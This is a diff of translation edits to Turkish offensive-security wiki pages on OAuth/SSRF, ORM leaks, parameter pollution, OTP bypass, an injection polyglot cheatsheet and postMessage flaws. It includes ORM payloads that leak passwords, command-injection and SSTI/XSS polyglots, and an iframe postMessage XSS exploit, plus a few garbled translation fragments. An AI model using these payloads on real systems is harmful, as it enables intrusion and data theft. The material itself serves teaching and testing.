3. Açıcıda, sağlayıcı kurbanı yetkilendirdikten sonra, onları `redirect_uri` parametresinin değerine (kurban web) 30X kodu ile geri gönderir ve bu hala saldırganın web sitesini referans olarak tutar.
|
||||
4. Kurban **web sitesi, referansa dayalı açık yönlendirmeyi tetikler** ve kurban kullanıcıyı saldırganın web sitesine yönlendirir, çünkü **`respose_type`** **`id_token,code`** olduğundan, kod saldırgana **URL'nin parçasında** geri gönderilecektir, bu da onun kurbanın sitesinde Google aracılığıyla kullanıcının hesabını ele geçirmesine olanak tanır.
|
||||
|
||||
### SSRF'lerin parametreleri <a href="#bda5" id="bda5"></a>
|
||||
@ -198,12 +198,12 @@ OAuth'taki Dinamik İstemci Kaydı, güvenlik açıkları için daha az belirgin
|
||||
**Ana Noktalar:**
|
||||
|
||||
- **Dinamik İstemci Kaydı**, genellikle `/register` ile eşleştirilir ve `client_name`, `client_secret`, `redirect_uris` ve POST istekleri aracılığıyla logolar veya JSON Web Key Sets (JWK'ler) için URL'ler gibi ayrıntıları kabul eder.
|
||||
- Bu özellik, **RFC7591** ve **OpenID Connect Kaydı 1.0**'da belirtilen spesifikasyonlara uyar; bu, SSRF'ye karşı potansiyel olarak savunmasız parametreleri içerir.
|
||||
- Kayıt süreci, istemcileri birkaç şekilde SSRF'ye maruz bırakabilir:
|
||||
- **`logo_uri`**: Sunucu tarafından alınabilecek istemci uygulamasının logosu için bir URL, bu da SSRF'yi tetikleyebilir veya URL yanlış yönetilirse XSS'ye yol açabilir.
|
||||
- Bu özellik, **RFC7591** ve **OpenID Connect Kaydı 1.0**'da belirtilen spesifikasyonlara uyar ve SSRF'ye karşı potansiyel olarak savunmasız olabilecek parametreleri içerir.
|
||||
- Kayıt süreci, birkaç şekilde sunucuları SSRF'ye maruz bırakabilir:
|
||||
- **`logo_uri`**: Sunucu tarafından alınabilecek istemci uygulamasının logosu için bir URL, SSRF'yi tetikleyebilir veya URL yanlış yönetilirse XSS'ye yol açabilir.
|
||||
- **`jwks_uri`**: İstemcinin JWK belgesine giden bir URL, kötü niyetle oluşturulursa, sunucunun saldırgan kontrolündeki bir sunucuya dışa dönük istekler yapmasına neden olabilir.
|
||||
- **`sector_identifier_uri`**: Sunucunun alabileceği `redirect_uris` JSON dizisini referans alır ve bu da bir SSRF fırsatı yaratır.
|
||||
- **`request_uris`**: İstemci için izin verilen istek URI'lerini listeler; bu, sunucu bu URI'leri yetkilendirme sürecinin başında alırsa kötüye kullanılabilir.
|
||||
- **`sector_identifier_uri`**: Sunucunun alabileceği `redirect_uris` JSON dizisini referans alır ve bu, SSRF fırsatı yaratır.
|
||||
- **`request_uris`**: İstemci için izin verilen istek URI'lerini listeler, bu URI'ler yetkilendirme sürecinin başında sunucu tarafından alınırsa kötüye kullanılabilir.
|
||||
|
||||
**Kötüye Kullanım Stratejisi:**
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Django ORM (Python)
|
||||
|
||||
[**Bu yazıda**](https://www.elttam.com/blog/plormbing-your-django-orm/) Django ORM'nin nasıl savunmasız hale getirilebileceği, örneğin aşağıdaki gibi bir kod kullanılarak açıklanmaktadır:
|
||||
In [**bu yazıda**](https://www.elttam.com/blog/plormbing-your-django-orm/) Django ORM'nin nasıl savunmasız hale getirilebileceği açıklanmaktadır, örneğin aşağıdaki gibi bir kod kullanarak:
|
||||
|
||||
<pre class="language-python"><code class="lang-python">class ArticleView(APIView):
|
||||
"""
|
||||
@ -40,16 +40,16 @@ Tüm request.data'nın (bu bir json olacaktır) doğrudan **veritabanından nesn
|
||||
}
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Tüm makale oluşturan kullanıcıların şifrelerini bulmak mümkündür.
|
||||
> Tüm makale oluşturmuş kullanıcıların şifrelerini bulmak mümkündür.
|
||||
|
||||
- **Çoktan çoğa ilişkisel filtreleme**: Önceki örnekte, makale oluşturmayan kullanıcıların şifrelerini bulamadık. Ancak, diğer ilişkileri takip ederek bu mümkündür. Örneğin: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
|
||||
- **Çoktan çoğa ilişkisel filtreleme**: Önceki örnekte, makale oluşturmamış kullanıcıların şifrelerini bulamadık. Ancak, diğer ilişkileri takip ederek bu mümkündür. Örneğin: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
|
||||
```json
|
||||
{
|
||||
"created_by__departments__employees__user_startswith": "admi"
|
||||
}
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Bu durumda, makaleler oluşturan kullanıcıların departmanlarındaki tüm kullanıcıları bulabiliriz ve ardından şifrelerini sızdırabiliriz (önceki json'da yalnızca kullanıcı adlarını sızdırıyoruz ama daha sonra şifreleri sızdırmak mümkün).
|
||||
> Bu durumda, makaleler oluşturan kullanıcıların departmanlarındaki tüm kullanıcıları bulabiliriz ve ardından şifrelerini sızdırabiliriz (önceki json'da yalnızca kullanıcı adlarını sızdırıyoruz ama ardından şifreleri sızdırmak mümkün).
|
||||
|
||||
- **Kullanıcılarla Django Grup ve İzinleri çoktan çoğa ilişkilerini kötüye kullanma**: Ayrıca, AbstractUser modeli Django'da kullanıcıları oluşturmak için kullanılır ve varsayılan olarak bu modelin **İzin ve Grup tablolarıyla bazı çoktan çoğa ilişkileri** vardır. Bu, temelde **aynı grupta bulunan veya aynı izni paylaşan bir kullanıcıdan diğer kullanıcılara erişmenin** varsayılan yoludur.
|
||||
```bash
|
||||
@ -64,9 +64,9 @@ created_by__user__user_permissions__user__password
|
||||
Article.objects.filter(is_secret=False, categories__articles__id=2)
|
||||
```
|
||||
> [!CAUTION]
|
||||
> İlişkileri kötüye kullanarak, gösterilen verileri korumak için tasarlanmış filtreleri bile atlatmak mümkündür.
|
||||
> İlişkilerin kötüye kullanılması, gösterilen verileri korumak için tasarlanmış filtrelerin bile aşılmasını mümkün kılar.
|
||||
|
||||
- **Hata/Zaman tabanlı ReDoS ile**: Önceki örneklerde, filtrelemenin çalışıp çalışmadığına göre farklı yanıtlar alınması bekleniyordu ve bu, oracle olarak kullanılıyordu. Ancak, veritabanında bazı işlemler yapıldığında yanıtın her zaman aynı olması da mümkün olabilir. Bu senaryoda, yeni bir oracle elde etmek için veritabanı hatası oluşturmak mümkün olabilir.
|
||||
- **Hata/Zaman tabanlı ReDoS ile**: Önceki örneklerde, filtrelemenin çalışıp çalışmadığına göre farklı yanıtlar alınması bekleniyordu ve bu, oracle olarak kullanılıyordu. Ancak, veritabanında bazı işlemler yapıldığında yanıtın her zaman aynı olması mümkün olabilir. Bu senaryoda, yeni bir oracle elde etmek için veritabanı hatası oluşturmak mümkün olabilir.
|
||||
```json
|
||||
// Non matching password
|
||||
{
|
||||
@ -188,7 +188,7 @@ startsWith: "pas",
|
||||
> [!CAUTION]
|
||||
> `startsWith` gibi işlemler kullanarak bilgi sızdırmak mümkündür. 
|
||||
|
||||
- **Çoktan-çoğa ilişkisel filtreleme atlatma:** 
|
||||
- **Çoktan çoğa ilişkisel filtreleme atlatma:** 
|
||||
```javascript
|
||||
app.post("/articles", async (req, res) => {
|
||||
try {
|
||||
@ -283,7 +283,7 @@ def index
|
||||
@posts = @q.result(distinct: true)
|
||||
end
|
||||
```
|
||||
Saldırgan tarafından gönderilen parametrelerle sorgunun nasıl tanımlanacağını not edin. Örneğin, sıfırlama token'ını brute-force ile elde etmek mümkündü:
|
||||
Saldırgan tarafından gönderilen parametrelerin sorguyu nasıl tanımlayacağını not edin. Örneğin, sıfırlama token'ını brute-force ile elde etmek mümkündü:
|
||||
```http
|
||||
GET /posts?q[user_reset_password_token_start]=0
|
||||
GET /posts?q[user_reset_password_token_start]=1
|
||||
@ -291,7 +291,7 @@ GET /posts?q[user_reset_password_token_start]=1
|
||||
```
|
||||
Brute-forcing ve potansiyel ilişkilerle, bir veritabanından daha fazla veri sızdırmak mümkün oldu.
|
||||
|
||||
## Referanslar
|
||||
## References
|
||||
|
||||
- [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/)
|
||||
- [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/)
|
||||
|
||||
@ -19,7 +19,7 @@ Ek bir `from` parametresi ekleyerek:
|
||||
|
||||
- **Manipüle Edilmiş URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
|
||||
|
||||
İşlem, `accountA` yerine yanlışlıkla `accountC`'ye tahsil edilebilir ve bu durum HPP'nin işlemleri veya şifre sıfırlama, 2FA ayarları veya API anahtarı talepleri gibi diğer işlevleri manipüle etme potansiyelini göstermektedir.
|
||||
İşlem, `accountA` yerine yanlışlıkla `accountC`'ye yansıtılabilir; bu da HPP'nin işlemleri veya şifre sıfırlama, 2FA ayarları veya API anahtarı talepleri gibi diğer işlevleri manipüle etme potansiyelini göstermektedir.
|
||||
|
||||
#### **Teknolojiye Özgü Parametre Ayrıştırma**
|
||||
|
||||
@ -34,23 +34,23 @@ Ek bir `from` parametresi ekleyerek:
|
||||
- **Yöntem:** Burp Suite gibi araçlar kullanarak OTP talebini kesen saldırganlar, HTTP isteğindeki `email` parametresini çoğalttı.
|
||||
- **Sonuç:** İlk e-posta için tasarlanan OTP, manipüle edilmiş istekte belirtilen ikinci e-posta adresine gönderildi. Bu hata, amaçlanan güvenlik önlemini aşarak yetkisiz erişime izin verdi.
|
||||
|
||||
Bu senaryo, uygulamanın arka ucundaki kritik bir gözden geçirmeyi vurgular; OTP üretimi için ilk `email` parametresini işleyen ancak teslimat için sonuncusunu kullanan bir durumdur.
|
||||
Bu senaryo, OTP üretimi için ilk `email` parametresini işleyen ancak teslimat için sonuncusunu kullanan uygulamanın arka ucundaki kritik bir gözden geçirmeyi vurgulamaktadır.
|
||||
|
||||
**API Anahtarı Manipülasyonu Durumu:**
|
||||
|
||||
- **Senaryo:** Bir uygulama, kullanıcıların profil ayarları sayfası aracılığıyla API anahtarlarını güncellemelerine izin verir.
|
||||
- **Saldırı Vektörü:** Bir saldırgan, POST isteğine ek bir `api_key` parametresi ekleyerek API anahtarı güncelleme işlevinin sonucunu manipüle edebileceğini keşfeder.
|
||||
- **Teknik:** Burp Suite gibi bir araç kullanarak, saldırgan bir geçerli ve bir kötü niyetli olmak üzere iki `api_key` parametresi içeren bir istek hazırlar. Sunucu, yalnızca sonuncusunu işleyerek, API anahtarını saldırganın sağladığı değere günceller.
|
||||
- **Senaryo:** Bir uygulama, kullanıcıların profil ayarları sayfası aracılığıyla API anahtarlarını güncellemelerine izin veriyor.
|
||||
- **Saldırı Vektörü:** Bir saldırgan, POST isteğine ek bir `api_key` parametresi ekleyerek API anahtarı güncelleme işlevinin sonucunu manipüle edebileceğini keşfetti.
|
||||
- **Teknik:** Burp Suite gibi bir araç kullanarak, saldırgan bir geçerli ve bir kötü niyetli `api_key` parametresi içeren bir istek oluşturur. Sunucu, yalnızca son örneği işleyerek, API anahtarını saldırganın sağladığı değere günceller.
|
||||
- **Sonuç:** Saldırgan, mağdurun API işlevselliği üzerinde kontrol kazanır ve muhtemelen özel verilere yetkisiz erişim veya değişiklik yapabilir.
|
||||
|
||||
Bu örnek, özellikle API anahtarı yönetimi gibi kritik özelliklerde güvenli parametre işlemenin gerekliliğini daha da vurgular.
|
||||
Bu örnek, özellikle API anahtarı yönetimi gibi kritik özelliklerde güvenli parametre işlemenin gerekliliğini daha da vurgulamaktadır.
|
||||
|
||||
### Parametre Ayrıştırma: Flask vs. PHP
|
||||
|
||||
Web teknolojilerinin yinelenen HTTP parametrelerini nasıl ele aldığı, HPP saldırılarına karşı duyarlılıklarını etkiler:
|
||||
Web teknolojilerinin yinelenen HTTP parametrelerini ele alma şekli, HPP saldırılarına karşı duyarlılıklarını etkiler:
|
||||
|
||||
- **Flask:** Bir sorgu dizesinde `a=1&a=2` gibi karşılaştığı ilk parametre değerini benimser, ilk örneği sonraki yinelenenlerden öncelikli kılar.
|
||||
- **PHP (Apache HTTP Sunucusunda):** Aksine, son parametre değerini önceliklendirir ve verilen örnekte `a=2` seçilir. Bu davranış, saldırganın manipüle ettiği parametreyi orijinalin üzerinde tutarak HPP istismarlarını istemeden kolaylaştırabilir.
|
||||
- **Flask:** Bir sorgu dizesinde `a=1&a=2` gibi ilk karşılaşılan parametre değerini benimser, ilk örneği sonraki yinelenenlerden öncelikli kılar.
|
||||
- **PHP (Apache HTTP Sunucusunda):** Aksine, son parametre değerini önceliklendirir ve verilen örnekte `a=2` seçilir. Bu davranış, saldırganın manipüle ettiği parametreyi orijinaline tercih ederek HPP istismarlarını istemeden kolaylaştırabilir.
|
||||
|
||||
## Teknolojiye Göre Parametre Kirliliği
|
||||
|
||||
@ -60,7 +60,7 @@ Sonuçlar [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b81
|
||||
|
||||
<figure><img src="../images/image (1255).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. Parametre adında %00'dan sonrasını yok sayın.
|
||||
1. Parametre adından %00 sonrasını yok sayın.
|
||||
2. name\[]'yi dizi olarak ele alın.
|
||||
3. \_GET GET Yöntemini ifade etmez.
|
||||
4. Son parametreyi tercih edin.
|
||||
@ -80,7 +80,7 @@ Sonuçlar [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b81
|
||||
1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping.
|
||||
2. POST RequestMapping & PostMapping name\[]'yi tanır.
|
||||
3. name ve name\[] mevcutsa name'i tercih edin.
|
||||
4. Parametreleri birleştirir, örneğin first,last.
|
||||
4. Parametreleri birleştirin, örneğin first,last.
|
||||
5. POST RequestMapping & PostMapping, Content-Type ile sorgu parametresini tanır.
|
||||
|
||||
### **NodeJS** 20.17.0 **VE** Express 4.21.0 <a href="#id-6d72" id="id-6d72"></a>
|
||||
@ -128,7 +128,7 @@ obj = {"test": "user", "test": "admin"}
|
||||
|
||||
### Anahtar Çakışması: Karakter Kısaltma ve Yorumlar
|
||||
|
||||
Belirli karakterler ön uç tarafından doğru bir şekilde yorumlanmayabilir, ancak arka uç bunları yorumlayacak ve bu anahtarları kullanacaktır, bu da **belirli kısıtlamaları aşmak** için faydalı olabilir:
|
||||
Belirli karakterler ön uç tarafından doğru bir şekilde yorumlanmayabilir, ancak arka uç bunları yorumlayacak ve bu anahtarları kullanacaktır; bu, **belirli kısıtlamaları aşmak** için faydalı olabilir:
|
||||
```json
|
||||
{"test": 1, "test\[raw \x0d byte]": 2}
|
||||
{"test": 1, "test\ud800": 2}
|
||||
@ -144,11 +144,11 @@ Bu, aşağıdaki gibi değer kısıtlamalarını aşmak için de kullanılabilir
|
||||
{"role": "administrator""}
|
||||
{"role": "admini\strator"}
|
||||
```
|
||||
### **Yorum Kısaltma Kullanımı**
|
||||
### **Yorum Kısaltmasını Kullanma**
|
||||
```ini
|
||||
obj = {"description": "Duplicate with comments", "test": 2, "extra": /*, "test": 1, "extra2": */}
|
||||
```
|
||||
Burada her ayrıştırıcıdan serileştiriciyi kullanarak ilgili çıktısını göreceğiz.
|
||||
Burada her bir ayrıştırıcının serileştiricisini kullanarak ilgili çıktısını göreceğiz.
|
||||
|
||||
Serileştirici 1 (örneğin, GoLang'ın GoJay kütüphanesi) şunları üretecektir:
|
||||
|
||||
|
||||
@ -8,7 +8,7 @@
|
||||
|
||||
<figure><img src="../images/image (941).png" alt="https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
|
||||
|
||||
**OTP Aşma / Bruteforce** bu şekilde çalışır:
|
||||
**OTP Atlatma / Bruteforce** bu şekilde çalışır:
|
||||
|
||||
<figure><img src="../images/image (116).png" alt="https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Bu PoC'lerin ve Polyglotların amacı, testere **girdiğinin yanıt içinde bir şekilde yansıtılabileceği** durumlarda kullanabileceği hızlı bir **özet** sunmaktır.
|
||||
Bu PoC'lerin ve Polyglotların amacı, testere **girdiğinin yanıt içinde bir şekilde yansıtılabileceği** durumlarda, potansiyel olarak istismar edebileceği zafiyetlerin hızlı bir **özeti** sunmaktır.
|
||||
|
||||
> [!WARNING]
|
||||
> Bu **cheatsheet, her bir zafiyet için kapsamlı bir test listesi önermemektedir**, sadece bazı temel testler sunmaktadır. Daha kapsamlı testler arıyorsanız, önerilen her bir zafiyete erişin.
|
||||
> Bu **cheatsheet, her zafiyet için kapsamlı bir test listesi önermemektedir**, sadece bazı temel testler sunmaktadır. Daha kapsamlı testler arıyorsanız, önerilen her zafiyete erişin.
|
||||
|
||||
> [!CAUTION]
|
||||
> **XXE gibi İçerik Türüne bağlı enjeksiyonlar bulamayacaksınız**, çünkü genellikle xml verisi gönderen bir istek bulursanız bunları kendiniz denersiniz. Ayrıca burada **veritabanı enjeksiyonları** da bulamayacaksınız, çünkü bazı içerikler yansıtılsa bile bu, arka uç DB teknolojisi ve yapısına büyük ölçüde bağlıdır.
|
||||
> **XXE gibi İçerik Türüne bağlı enjeksiyonlar bulamayacaksınız**, çünkü genellikle xml verisi gönderen bir istek bulduğunuzda bunları kendiniz deneyeceksiniz. Ayrıca burada **veritabanı enjeksiyonları** da bulamayacaksınız, çünkü bazı içerikler yansıtılsa bile bu, arka uç veritabanı teknolojisine ve yapısına büyük ölçüde bağlıdır.
|
||||
|
||||
## Polyglotlar listesi
|
||||
```python
|
||||
@ -74,7 +74,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
|
||||
`ls`
|
||||
$(ls)
|
||||
```
|
||||
### Polyglotlar
|
||||
### Poliglotlar
|
||||
```bash
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
@ -142,7 +142,7 @@ x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/C
|
||||
```
|
||||
## [Sunucu Tarafı İstek Sahteciliği](../ssrf-server-side-request-forgery/)
|
||||
|
||||
Açık Yönlendirme için kullanılan aynı testler burada da kullanılabilir.
|
||||
Open Redirect için kullanılan aynı testler burada da kullanılabilir.
|
||||
|
||||
## [Sunucu Tarafı Şablon Enjeksiyonu](../ssti-server-side-template-injection/)
|
||||
|
||||
@ -155,7 +155,7 @@ ${7*7}
|
||||
${{7*7}}
|
||||
#{7*7}
|
||||
```
|
||||
### Polyglotlar
|
||||
### Poliglotlar
|
||||
```python
|
||||
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
|
||||
```
|
||||
|
||||
@ -36,10 +36,10 @@ Not edin ki **targetOrigin** bir '\*' veya _https://company.com_ gibi bir URL ol
|
||||
**İkinci senaryoda**, **mesaj yalnızca o domaine gönderilebilir** (pencere nesnesinin kökeni farklı olsa bile).\
|
||||
Eğer **joker karakter** kullanılıyorsa, **mesajlar herhangi bir domaine gönderilebilir** ve Pencere nesnesinin kökenine gönderilecektir.
|
||||
|
||||
### iframe'leri hedef alma & **targetOrigin**'de joker karakter
|
||||
### iframe'e saldırma & **targetOrigin**'de joker karakter
|
||||
|
||||
[**bu raporda**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) açıklandığı gibi, **iframed** (hiçbir `X-Frame-Header` koruması yok) olabilen bir sayfa bulursanız ve bu sayfa **joker karakter** (\*) kullanarak **hassas** mesaj gönderiyorsa, **iframe**'in **kökenini** **değiştirebilir** ve **hassas** mesajı sizin kontrolünüzdeki bir domaine **sızdırabilirsiniz**.\
|
||||
Eğer sayfa iframed olabiliyorsa ancak **targetOrigin** **bir URL'ye ayarlandıysa ve joker karaktere değilse**, bu **numara çalışmaz**.
|
||||
Eğer sayfa iframed olabiliyorsa ancak **targetOrigin** **bir URL'ye ayarlanmışsa ve joker karaktere değilse**, bu **numara çalışmaz**.
|
||||
```markup
|
||||
<html>
|
||||
<iframe src="https://docs.google.com/document/ID" />
|
||||
@ -69,7 +69,7 @@ if (event.origin !== "http://example.org:8080") return
|
||||
false
|
||||
)
|
||||
```
|
||||
Not edin ki bu durumda kodun yaptığı **ilk şey** **kaynağı kontrol etmek**. Bu, alınan bilgilerle **herhangi bir hassas şey** yapılacaksa (örneğin bir şifre değiştirmek) son derece **önemlidir**. **Eğer kaynak kontrol edilmezse, saldırganlar kurbanların bu uç noktalara rastgele veri göndermesini sağlayabilir** ve kurbanların şifrelerini değiştirebilir (bu örnekte).
|
||||
Not edin ki bu durumda kodun **ilk yaptığı şey** **kaynağı kontrol etmek**. Bu, alınan bilgilerle **herhangi bir hassas işlem** yapılacaksa son derece **önemlidir** (örneğin bir şifre değiştirmek gibi). **Eğer kaynağı kontrol etmezse, saldırganlar kurbanların bu uç noktalara rastgele veri göndermesine** ve kurbanların şifrelerini değiştirmesine neden olabilir (bu örnekte).
|
||||
|
||||
### Sayım
|
||||
|
||||
@ -95,14 +95,14 @@ Mevcut sayfadaki **olay dinleyicilerini bulmak** için şunları yapabilirsiniz:
|
||||
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
|
||||
```
|
||||
|
||||
- `String.prototype.search()`'ten **`search()`** metodu düzenli ifadeler için tasarlanmıştır, dizeler için değil. Regexp dışında bir şey geçmek, metodun potansiyel olarak güvensiz hale gelmesine neden olan düzenli ifadeye örtük dönüşüme yol açar. Çünkü düzenli ifadelerde bir nokta (.) joker karakter olarak işlev görür ve özel olarak hazırlanmış alan adlarıyla doğrulamanın atlanmasına olanak tanır. Örneğin:
|
||||
- `String.prototype.search()`'ten **`search()`** metodu, düzenli ifadeler için tasarlanmıştır, dizeler için değil. Regexp dışında bir şey geçmek, regex'e örtük dönüşüme yol açar ve bu metodun potansiyel olarak güvensiz olmasına neden olur. Çünkü regex'te bir nokta (.) joker karakter olarak işlev görür ve özel olarak hazırlanmış alan adlarıyla doğrulamanın atlanmasına olanak tanır. Örneğin:
|
||||
|
||||
```javascript
|
||||
"https://www.safedomain.com".search("www.s.fedomain.com")
|
||||
```
|
||||
|
||||
- `search()` ile benzer olan **`match()`** fonksiyonu da regex işler. Eğer regex yanlış yapılandırılmışsa, atlamaya karşı hassas olabilir.
|
||||
- **`escapeHtml`** fonksiyonu, karakterleri kaçırarak girdileri temizlemek için tasarlanmıştır. Ancak, yeni bir kaçırılmış nesne oluşturmaz, mevcut nesnenin özelliklerini üzerine yazar. Bu davranış istismar edilebilir. Özellikle, bir nesne, kontrol edilen özelliğinin `hasOwnProperty`'yi tanımayacak şekilde manipüle edilebiliyorsa, `escapeHtml` beklenildiği gibi çalışmayacaktır. Bu aşağıdaki örneklerde gösterilmektedir:
|
||||
- `search()` ile benzer olan **`match()`** fonksiyonu, regex'i işler. Eğer regex yanlış yapılandırılmışsa, atlamaya karşı hassas olabilir.
|
||||
- **`escapeHtml`** fonksiyonu, karakterleri kaçırarak girdileri temizlemek için tasarlanmıştır. Ancak, yeni bir kaçırılmış nesne oluşturmaz, mevcut nesnenin özelliklerini üzerine yazar. Bu davranış istismar edilebilir. Özellikle, bir nesne, kontrol edilen özelliği `hasOwnProperty`'yi tanımayacak şekilde manipüle edilebiliyorsa, `escapeHtml` beklenildiği gibi çalışmayacaktır. Bu aşağıdaki örneklerde gösterilmektedir:
|
||||
|
||||
- Beklenen Hata:
|
||||
|
||||
@ -128,9 +128,9 @@ Bu zayıflık bağlamında, `File` nesnesi, yalnızca okunabilir `name` özelli
|
||||
|
||||
Bir **sandboxed iframe** içinde bir web sayfası gömüldüğünde %%%%%%, iframe'in kaynağının null olarak ayarlanacağını anlamak önemlidir. Bu, **sandbox nitelikleri** ve bunların güvenlik ve işlevsellik üzerindeki etkileriyle ilgili olarak özellikle önemlidir.
|
||||
|
||||
**`allow-popups`** niteliklerini belirleyerek, iframe içinden açılan herhangi bir açılır pencere, üst öğesinin sandbox kısıtlamalarını miras alır. Bu, **`allow-popups-to-escape-sandbox`** niteliği de dahil edilmediği sürece, açılır pencerenin kaynağının da `null` olarak ayarlandığı anlamına gelir ve bu, iframe'in kaynağıyla aynı hale gelir.
|
||||
**`allow-popups`** niteliklerini belirterek, iframe içinden açılan herhangi bir açılır pencere, üst öğesinin sandbox kısıtlamalarını miras alır. Bu, **`allow-popups-to-escape-sandbox`** niteliği de dahil edilmediği sürece, açılır pencerenin kaynağının da `null` olarak ayarlandığı anlamına gelir ve bu, iframe'in kaynağıyla uyumlu hale gelir.
|
||||
|
||||
Sonuç olarak, bu koşullar altında bir açılır pencere açıldığında ve iframe'den açılır pencereye **`postMessage`** kullanılarak bir mesaj gönderildiğinde, hem gönderim hem de alım uçlarının kaynakları `null` olarak ayarlanır. Bu durum, **`e.origin == window.origin`** ifadesinin doğru değerlendirilmesine yol açar (`null == null`), çünkü hem iframe hem de açılır pencere `null` değerine sahip aynı kaynak değerini paylaşır.
|
||||
Sonuç olarak, bu koşullar altında bir açılır pencere açıldığında ve iframe'den açılır pencereye **`postMessage`** kullanılarak bir mesaj gönderildiğinde, hem gönderim hem de alım uçlarının kaynakları `null` olarak ayarlanır. Bu durum, **`e.origin == window.origin`** ifadesinin doğru olduğu bir senaryoya yol açar (`null == null`), çünkü hem iframe hem de açılır pencere `null` değerine sahip aynı kaynak değerini paylaşır.
|
||||
|
||||
Daha fazla bilgi için **okuyun**:
|
||||
|
||||
@ -140,7 +140,7 @@ bypassing-sop-with-iframes-1.md
|
||||
|
||||
### e.source atlaması
|
||||
|
||||
Mesajın, scriptin dinlediği aynı pencereden gelip gelmediğini kontrol etmek mümkündür (özellikle **tarayıcı uzantılarından gelen İçerik Scriptleri** için mesajın aynı sayfadan gönderilip gönderilmediğini kontrol etmek ilginçtir):
|
||||
Mesajın, scriptin dinlediği aynı pencereden gelip gelmediğini kontrol etmek mümkündür (özellikle **Tarayıcı uzantılarından gelen İçerik Scriptleri** için mesajın aynı sayfadan gönderilip gönderilmediğini kontrol etmek ilginçtir):
|
||||
```javascript
|
||||
// If it’s not, return immediately.
|
||||
if (received_message.source !== window) {
|
||||
@ -158,7 +158,7 @@ bypassing-sop-with-iframes-2.md
|
||||
### X-Frame-Header atlatma
|
||||
|
||||
Bu saldırıları gerçekleştirmek için ideal olarak **kurban web sayfasını** bir `iframe` içine alabilmeniz gerekir. Ancak `X-Frame-Header` gibi bazı başlıklar bu **davranışı** **engelleyebilir**.\
|
||||
Bu senaryolarda, daha az gizli bir saldırı kullanmaya devam edebilirsiniz. Zayıf noktası olan web uygulamasına yeni bir sekme açabilir ve onunla iletişim kurabilirsiniz:
|
||||
Bu senaryolarda, daha az gizli bir saldırı kullanmaya devam edebilirsiniz. Gü vulnerable web uygulamasına yeni bir sekme açabilir ve onunla iletişim kurabilirsiniz:
|
||||
```markup
|
||||
<script>
|
||||
var w=window.open("<url>")
|
||||
@ -181,13 +181,13 @@ X-Frame-Header içermeyen bir web sayfasını iframe'leyebiliyorsanız ve bu say
|
||||
steal-postmessage-modifying-iframe-location.md
|
||||
{{#endref}}
|
||||
|
||||
### postMessage ile Prototip Kirliliği ve/veya XSS
|
||||
### postMessage ile Prototip Kirlenmesi ve/veya XSS
|
||||
|
||||
`postMessage` aracılığıyla gönderilen verilerin JS tarafından çalıştırıldığı senaryolarda, **sayfayı iframe'leyebilir** ve **prototip kirliliği/XSS**'yi **postMessage** aracılığıyla gönderilen istismar ile **sömürebilirsiniz**.
|
||||
`postMessage` aracılığıyla gönderilen verilerin JS tarafından çalıştırıldığı senaryolarda, **sayfayı** **iframe**'leyebilir ve **prototip kirlenmesi/XSS**'yi **postMessage** aracılığıyla gönderilen istismar ile **istismar** edebilirsiniz.
|
||||
|
||||
**postMessage** aracılığıyla **çok iyi açıklanmış XSS örnekleri** [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) adresinde bulunabilir.
|
||||
|
||||
Bir `iframe`'e `postMessage` aracılığıyla **Prototip Kirliliği ve ardından XSS** istismarına bir örnek:
|
||||
Bir `iframe`'e **Prototip Kirlenmesi ve ardından XSS** istismarı için bir örnek:
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
@ -212,7 +212,7 @@ setTimeout(get_code, 2000)
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
Daha fazla bilgi için:
|
||||
Daha **fazla bilgi** için:
|
||||
|
||||
- [**prototip kirlenmesi**](../deserialization/nodejs-proto-prototype-pollution/) hakkında sayfaya bağlantı
|
||||
- [**XSS**](../xss-cross-site-scripting/) hakkında sayfaya bağlantı
|
||||
|
||||
@ -6,10 +6,10 @@
|
||||
|
||||
Bu [**Terjanq yazısı**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710)'na göre, null kökenlerden oluşturulan blob belgeleri güvenlik faydaları için izole edilmiştir, bu da demektir ki eğer ana sayfayı meşgul tutarsanız, iframe sayfası çalıştırılacaktır.
|
||||
|
||||
